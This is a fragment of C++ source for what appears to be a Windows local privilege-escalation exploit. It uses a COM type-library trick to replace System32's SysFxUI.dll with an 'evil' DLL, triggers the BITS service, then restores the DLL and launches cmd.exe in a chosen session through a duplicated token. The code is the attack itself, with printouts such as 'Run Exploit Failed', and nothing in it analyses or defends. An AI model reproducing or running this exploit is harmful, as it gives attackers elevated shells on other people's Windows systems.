bstr_t exeName = PathFindFileName(GetExe());
|
||
|
||
printf("[+]Restoring BackUp DLL Done,Do CleanUp... \n");
|
||
|
||
DirectoryListCleanUp_After(exeDir, exeName);
|
||
if (shellmode&&bWow64Process)
|
||
{
|
||
Wow64RevertWow64FsRedirection(oldval);
|
||
|
||
}
|
||
return TRUE;
|
||
}
|
||
else
|
||
{
|
||
if (shellmode&&bWow64Process)
|
||
{
|
||
Wow64RevertWow64FsRedirection(oldval);
|
||
|
||
}
|
||
printf("[+]Run Exploit Failed,Check Run As Administrator \n");
|
||
return FALSE;
|
||
}
|
||
|
||
}
|
||
|
||
|
||
|
||
void CreateNewProcess(const wchar_t* session)
|
||
{
|
||
|
||
try
|
||
{
|
||
ShellExecuteW(NULL, NULL, L"C:\\Windows\\System32\\bitsadmin.exe", L"/reset /allusers", NULL, SW_HIDE);
|
||
}
|
||
catch (const _com_error& err)
|
||
{
|
||
}
|
||
|
||
|
||
|
||
DWORD session_id = wcstoul(session, nullptr, 0);
|
||
SafeScopedHandle token;
|
||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token.ptr()))
|
||
{
|
||
throw _com_error(E_FAIL);
|
||
}
|
||
|
||
SafeScopedHandle new_token;
|
||
|
||
if (!DuplicateTokenEx(token.get(), TOKEN_ALL_ACCESS, nullptr, SecurityAnonymous, TokenPrimary, new_token.ptr()))
|
||
{
|
||
throw _com_error(E_FAIL);
|
||
}
|
||
|
||
SetTokenInformation(new_token.get(), TokenSessionId, &session_id, sizeof(session_id));
|
||
|
||
STARTUPINFO start_info = {};
|
||
start_info.cb = sizeof(start_info);
|
||
start_info.lpDesktop = L"WinSta0\\Default";
|
||
PROCESS_INFORMATION proc_info;
|
||
WCHAR cmdline[] = L"cmd.exe";
|
||
if (CreateProcessAsUser(new_token.get(), nullptr, cmdline,
|
||
nullptr, nullptr, FALSE, CREATE_NEW_CONSOLE, nullptr, nullptr, &start_info, &proc_info))
|
||
{
|
||
CloseHandle(proc_info.hProcess);
|
||
CloseHandle(proc_info.hThread);
|
||
}
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
int _tmain(int argc, _TCHAR* argv[])
|
||
{
|
||
try
|
||
{
|
||
|
||
IID TypeLib_InterfaceTemp;
|
||
BSTR pwszEvilDllPath = L"C:\\Windows\\System32\\SysFxUI.dll";
|
||
BSTR if_name = L"IMyPageFactory";
|
||
HRESULT hr = CoInitialize(NULL);
|
||
if (argc < 2)
|
||
{
|
||
|
||
HANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
|
||
CLSIDFromString(L"{E6DB299B-B925-415A-879B-4A76D072F39A}", &IID_InterfaceTemp);
|
||
CLSIDFromString(L"{87D5F036-FAC3-4390-A1E8-DFA8A62C09E7}", &TypeLib_InterfaceTemp);
|
||
ChaHua * exp = new ChaHua(IID_InterfaceTemp, if_name, TypeLib_InterfaceTemp, pwszEvilDllPath);
|
||
exp->BuildTypeLibsWrapper(nullptr);
|
||
if (exp->ExploitCopyFile(TRUE))
|
||
{
|
||
TestBits(hEvent);
|
||
}
|
||
|
||
}else if (_wcsicmp(argv[1], L"door") == 0)
|
||
{
|
||
bstr_t dllPathBak = GetExeDir() + L"\\" + PathFindFileName(pwszEvilDllPath) + ".bak";
|
||
|
||
wcscpy(g_dllPathBak, dllPathBak.GetBSTR());
|
||
RestoreExploitFile_After(TRUE, g_dllPathBak, pwszEvilDllPath);
|
||
CreateNewProcess(argv[2]);
|
||
|
||
|
||
return 0;
|
||
}
|
||
|
||
|
||
|
||
}
|
||
catch (const _com_error& err)
|
||
{
|
||
printf("Error: %ls\n", err.ErrorMessage());
|
||
}
|
||
CoUninitialize();//<2F>ͷ<EFBFBD>COM
|
||
return 0;
|
||
}
|
||
|
||
BOOL EnableWow64FSRedirector()
|
||
{
|
||
HANDLE hProcess;
|
||
BOOL bWow64Process;
|
||
|
||
hProcess = GetCurrentProcess();
|
||
|
||
if (!IsWow64Process(hProcess, &bWow64Process))
|
||
{
|
||
wprintf_s(L"[!] IsWow64Process() failed (Err: %d).\n", GetLastError());
|
||
CloseHandle(hProcess);
|
||
return FALSE;
|
||
}
|
||
|
||
if (bWow64Process)
|
||
{
|
||
if (!Wow64RevertWow64FsRedirection(m_pOldValue))
|
||
{
|
||
wprintf_s(L"[!] Wow64RevertWow64FsRedirection() failed (Err: %d).\n", GetLastError());
|
||
CloseHandle(hProcess);
|
||
return FALSE;
|
||
}
|
||
}
|
||
|
||
CloseHandle(hProcess);
|
||
|
||
return TRUE;
|
||
}
|
||
|
||
BOOL DisableWow64FSRedirector()
|
||
{
|
||
HANDLE hProcess;
|
||
BOOL bWow64Process;
|
||
|
||
hProcess = GetCurrentProcess();
|
||
|
||
if (!IsWow64Process(hProcess, &bWow64Process))
|
||
{
|
||
wprintf_s(L"[!] IsWow64Process() failed (Err: %d).\n", GetLastError());
|
||
CloseHandle(hProcess);
|
||
return FALSE;
|
||
}
|
||
|
||
if (bWow64Process)
|
||
{
|
||
if (!Wow64DisableWow64FsRedirection(&m_pOldValue))
|
||
{
|
||
wprintf_s(L"[!] Wow64DisableWow64FsRedirection() failed (Err: %d).\n", GetLastError());
|
||
CloseHandle(hProcess);
|
||
return FALSE;
|
||
}
|
||
}
|
||
|
||
CloseHandle(hProcess);
|
||
|
||
return TRUE;
|
||
} |